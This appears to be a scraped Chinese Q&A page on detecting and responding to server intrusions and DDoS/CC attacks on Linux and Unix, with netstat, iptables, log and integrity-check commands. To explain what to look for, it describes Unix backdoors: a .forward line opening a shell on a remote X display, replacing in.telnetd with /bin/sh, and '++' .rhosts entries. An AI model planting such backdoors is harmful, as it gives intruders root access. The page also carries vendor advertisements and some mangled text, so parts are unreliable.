怎麼查看伺服器被攻擊
⑴ 怎麼判斷伺服器是否被DDoS惡意攻擊
懷疑遇到攻擊情況,首先要看看伺服器上面的情況,首先top一下,看看伺服器負載,如果負載不高,那麼基本可以判斷不是cc類型的攻擊,再輸入命令
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
查看下網路連接的情況,會得到下面這些結果:
TCP連接攻擊算是比較古老的了,防禦起來也相對比較簡單,主要是利用大量的TCP連接來消耗系統的網路資源,通常同一個IP會建立數量比較大的TCP連接,並且一直保持。應對方法也比較簡單,可以將以下命令保存為腳本,定時ban掉那些傀儡機ip
for i in `netstat -an | grep -i ':80 '|grep 'EST' | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c | awk '{if($1 > 50) {print $2}}'`
do
echo $i
echo $i >> /tmp/banip
/sbin/iptables -A INPUT -p tcp -j DROP -s $i
done
banip文件裡面記錄了所有被ban的ip地址信息,方面進行反滲透以及證據保存等等。為了更好地加固系統,我們可以使用iptables來限制一下,單個ip的最大連接數。
當攻擊者的資源非常的多,上面這些方法限制可能就沒有什麼防護效果了,面對大流量DDoS攻擊還是要考慮採用多機負載或者選擇墨者安全高防來應對了,一般來說多機負載的成本可能更高,所以大部分人還是選擇墨者高防硬防產品來防禦。
⑵ 你的伺服器被人攻擊了黑客把他的程序偽裝成伺服器上正常的工具程序如何找到這
如果伺服器被入侵的話可以查詢系統日誌看下最近時間的登錄日誌。
當伺服器遭到攻擊時,可能會導致伺服器被攻擊者遠程式控制制,伺服器的帶寬向外發包,伺服器被DDoS/CC攻擊,系統中木馬病毒,伺服器管理員賬號密碼被改等。還有可能導致網站被劫持,首頁被篡改,網頁被植入腳本木馬等。
⑶ 遭受黑客攻擊後怎樣查詢被攻擊了
安全總是相對的,再安全的伺服器也有可能遭受到攻擊。作為一個安全運維人員,要把握的原則是:盡量做好系統安全防護,修復所有已知的危險行為,同時,在系統遭受攻擊後能夠迅速有效地處理攻擊行為,最大限度地降低攻擊對系統產生的影響。
一、處理伺服器遭受攻擊的一般思路
系統遭受攻擊並不可怕,可怕的是面對攻擊束手無策,下面就詳細介紹下在伺服器遭受攻擊後的一般處理思路。
1.切斷網路
所有的攻擊都來自於網路,因此,在得知系統正遭受黑客的攻擊後,首先要做的就是斷開伺服器的網路連接,這樣除了能切斷攻擊源之外,也能保護伺服器所在網路的其他主機。
2.查找攻擊源
可以通過分析系統日誌或登錄日誌文件,查看可疑信息,同時也要查看系統都打開了哪些埠,運行哪些進程,並通過這些進程分析哪些是可疑的程序。這個過程要根據經驗和綜合判斷能力進行追查和分析。下面的章節會詳細介紹這個過程的處理思路。
3.分析入侵原因和途徑
既然系統遭到入侵,那麼原因是多方面的,可能是系統漏洞,也可能是程序漏洞,一定要查清楚是哪個原因導致的,並且還要查清楚遭到攻擊的途徑,找到攻擊源,因為只有知道了遭受攻擊的原因和途徑,才能刪除攻擊源同時進行漏洞的修復。
4.備份用戶數據
在伺服器遭受攻擊後,需要立刻備份伺服器上的用戶數據,同時也要查看這些數據中是否隱藏著攻擊源。如果攻擊源在用戶數據中,一定要徹底刪除,然後將用戶數據備份到一個安全的地方。
5.重新安裝系統
永遠不要認為自己能徹底清除攻擊源,因為沒有人能比黑客更了解攻擊程序,在伺服器遭到攻擊後,最安全也最簡單的方法就是重新安裝系統,因為大部分攻擊程序都會依附在系統文件或者內核中,所以重新安裝系統才能徹底清除攻擊源。
6.修復程序或系統漏洞
在發現系統漏洞或者應用程序漏洞後,首先要做的就是修復系統漏洞或者更改程序bug,因為只有將程序的漏洞修復完畢才能正式在伺服器上運行。
7.恢復數據和連接網路
將備份的數據重新復制到新安裝的伺服器上,然後開啟服務,最後將伺服器開啟網路連接,對外提供服務。
二、檢查並鎖定可疑用戶
當發現伺服器遭受攻擊後,首先要切斷網路連接,但是在有些情況下,比如無法馬上切斷網路連接時,就必須登錄系統查看是否有可疑用戶,如果有可疑用戶登錄了系統,那麼需要馬上將這個用戶鎖定,然後中斷此用戶的遠程連接。
1.登錄系統查看可疑用戶
通過root用戶登錄,然後執行「w」命令即可列出所有登錄過系統的用戶,如下圖所示。
通過這個輸出可以檢查是否有可疑或者不熟悉的用戶登錄,同時還可以根據用戶名以及用戶登錄的源地址和它們正在運行的進程來判斷他們是否為非法用戶。
2.鎖定可疑用戶
一旦發現可疑用戶,就要馬上將其鎖定,例如上面執行「w」命令後發現nobody用戶應該是個可疑用戶(因為nobody默認情況下是沒有登錄許可權的),於是首先鎖定此用戶,執行如下操作:
[root@server ~]# passwd -l nobody鎖定之後,有可能此用戶還處於登錄狀態,於是還要將此用戶踢下線,根據上面「w」命令的輸出,即可獲得此用戶登錄進行的pid值,操作如下:
[root@server ~]# ps -ef|grep @pts/3 531 6051 6049 0 19:23 ? 00:00:00 sshd: nobody@pts/3 [root@server ~]# kill -9 6051這樣就將可疑用戶nobody從線上踢下去了。如果此用戶再次試圖登錄它已經無法登錄了。
3.通過last命令查看用戶登錄事件
last命令記錄著所有用戶登錄系統的日誌,可以用來查找非授權用戶的登錄事件,而last命令的輸出結果來源於/var/log/wtmp文件,稍有經驗的入侵者都會刪掉/var/log/wtmp以清除自己行蹤,但是還是會露出蛛絲馬跡在此文件中的。
三、查看系統日誌
查看系統日誌是查找攻擊源最好的方法,可查的系統日誌有/var/log/messages、/var/log/secure等,這兩個日誌文件可以記錄軟體的運行狀態以及遠程用戶的登錄狀態,還可以查看每個用戶目錄下的.bash_history文件,特別是/root目錄下的.bash_history文件,這個文件中記錄著用戶執行的所有歷史命令。
四、檢查並關閉系統可疑進程
檢查可疑進程的命令很多,例如ps、top等,但是有時候只知道進程的名稱無法得知路徑
⑷ 怎樣查看伺服器是否被攻擊
DDOS攻擊,直接找機房要流量圖就看得到。把伺服器ip打掛了,連接不上伺服器,不通了。
cc攻擊:cpu變得很高,操作很卡,可以先讓伺服器商分析下,進伺服器里看下,現在很多伺服器安全軟體,市面有雲盾,金盾,cdn等各種防護軟體。
⑸ linux伺服器是否被攻擊怎麼判斷
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。
1
awk –F:』$3==0{print$1}』/etc/passwd
順便再檢查一下系統里有沒有空口令帳戶:
1
awk –F: 『length($2)==0{print$1}』/etc/shadow
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd
inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J
UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。
接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的後門文件,如果想檢查你的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:
find / -name 「.rhosts」 –print
find / -name 「.forward」 –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。
看到這里如果想要深入的做安全加固服務以及安全部署
就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:
username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果你運行如下命令:
ln -s /var/mail/luser ~/.forward
然後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個文件也可以。
8、檢查系統文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談一下login後門 :
UNIX里,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。
LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麼有點象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。
9、檢查內核級後門
如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這里需要說明的是,一般默認安裝的LINUX載入的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被載入了後門模塊,但是在模塊列表/proc/mole里又看不到它們,有可能是使用了hack工具來移除載入的模塊,大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。
⑹ 怎麼判斷伺服器被cc攻擊了
首先測試是否能ping通伺服器,如果能ping通,多半是伺服器內部問題。不能ping通則先確定伺服器本身無問題後,排查網路問題。
A:可以ping通
1. 這種可以確定是伺服器內部問題,首先用netstat -nao 查看分析遠程埠,看是否在監聽。
2. 如果埠未開啟,則查看遠程服務是否打開或啟動。
3. 如果埠已開啟,則檢查防火牆是否開啟,規則是否正確添加。4. 如掉包嚴重,看是有無異常進程,是否中馬。帶寬及其系統資源佔用是否正常。
B:不可以ping通
1.首先查詢IP是否被網路攻擊,是否被查封等。
2.如未被攻擊,則需進系統查看,看帶寬及其系統資源是否佔用正常,有無異常進程,是否中馬。
3.查看網卡配置是否異常。
最後伺服器還是遠程登錄不了,如果是其他原因導致,先思考一下最近有沒有做過什麼操作,尋找原因並解決,實在不行可以找服務商協助解決。
⑺ 如何查看伺服器是否被ddos攻擊
先看下網站能不能打開,然後讓伺服器運營商在埠查看下流量的異常情況。具體加下 口吧,320006167
⑻ 怎麼樣查看我的伺服器是否被攻擊
如果是在iptables中查看,好像有一個log選項可以記錄一些事件到log中。
不過我一般採用的方法是看/var/log/secure,如果有一些來路不明的IP在很有頻率地嘗試登錄,而且出現大量用戶名密碼出錯以及認證錯誤的信息,那麼估計就有人在打你的主意了。
⑼ 如何查看伺服器是否被攻擊
DDOS攻擊,直接找機房要流量圖就看得到。把伺服器ip打掛了,連接不上伺服器,不通了。
cc攻擊:cpu變得很高,操作很卡,可以先讓伺服器商分析下,進伺服器里看下,現在很多伺服器安全軟體,市面有雲盾,金盾,cdn等各種防護軟體。